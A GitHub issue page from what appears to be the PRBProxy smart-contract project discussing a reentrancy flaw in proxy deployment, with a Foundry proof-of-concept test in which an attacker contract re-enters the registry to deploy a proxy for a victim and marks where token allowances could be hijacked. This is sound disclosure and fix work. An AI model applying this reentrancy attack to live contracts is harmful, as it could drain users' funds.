-
-
Notifications
You must be signed in to change notification settings - Fork 48
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Reentrancy when deploying proxies #124
Comments
I was wrong above - this is not a problem because in the subcall, the registry = IPRBProxyRegistry(msg.sender) Therefore, the following call will revert: (address owner_, address target, bytes memory data) = registry.constructorParams(); Interestingly, the analysis continues beyond there. The would-be attacker could install a plugin for the contract ConstructorParamsPlugin is IPRBProxyPlugin, PRBProxyStorage {
function methodList() external pure override returns (bytes4[] memory) {
bytes4[] memory methods = new bytes4[](1);
methods[0] = this.constructorParams.selector;
return methods;
}
function constructorParams() external pure returns (IPRBProxyRegistry.ConstructorParams memory) {
return IPRBProxyRegistry.ConstructorParams({ owner: address(0), target: address(0), data: bytes("") });
}
}
contract StrangeLoop is PRBProxyStorage {
function loop(IPRBProxyRegistry registry, ConstructorParamsPlugin cpp, address owner) external {
plugins[IPRBProxyRegistry.constructorParams.selector] = cpp;
registry.deployFor(owner);
}
} But this wouldn't lead anywhere:
|
Correction for the last point made above: although I was directionally correct, my last explanation was wrong (the one which is stricken through now).
registry.getPluginByOwner({ owner: owner, method: msg.sig }); |
I stand corrected. Reentrancy is possible because the constructor() {
registry = IPRBProxyRegistry(msg.sender); This is the full test put together by Dirk, which has invalidated my comments above: See attacker test
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.19 <=0.9.0;
import { IPRBProxy } from "src/interfaces/IPRBProxy.sol";
import { IPRBProxyRegistry } from "src/interfaces/IPRBProxyRegistry.sol";
import { Registry_Test } from "../Registry.t.sol";
import "forge-std/console.sol";
address constant ATTACKER = 0x0000000000000000000000000000000000000Bad;
address constant VICTIM = 0x000000000000000000000000000000000000cafE;
contract AttackerTarget {
function doSomething(IPRBProxyRegistry _registry, address _victim) public {
(address _deployingFor,,) = _registry.constructorParams(); //only way to get the current owner of the proxy
// which is still under construction - getter function for owner isn't created yet and owner itself is an
// immutable
address ownerFromImmutable;
assembly {
ownerFromImmutable := mload(0x80)
}
console.log("ownerFromImmutable is %s", ownerFromImmutable);
if (_deployingFor == ATTACKER) {
console.log(
"Deploying secondary proxy for %s from proxy %s with owner %s", _victim, address(this), _deployingFor
);
_registry.deployFor(_victim);
} else {
console.log("DO SOMETHING BAD on proxy %s with owner %s", address(this), _deployingFor); //e.g. set allowances
// on USDC, WETH etc. for the ATTACKER
}
}
}
contract AttackDeployAndExecute_Test is Registry_Test {
bytes internal data;
address internal target;
function setUp() public override {
Registry_Test.setUp();
target = address(new AttackerTarget());
}
function testAttackDeployAndExecute() external {
changePrank({ txOrigin: ATTACKER, msgSender: ATTACKER });
data = abi.encodeWithSelector(AttackerTarget.doSomething.selector, registry, VICTIM);
registry.deployAndExecute(target, data);
}
} |
This is fixed by emptying out the |
In my original design in #119, I attempted to block reentrancy by checking that the
target
contract is not theregistry
.However, that check doesn't achieve much because the
target
contract itself could perform a call to theregistry
.There are two ways to solve this:
ReentrancyGuard
in the deploy functions.The text was updated successfully, but these errors were encountered: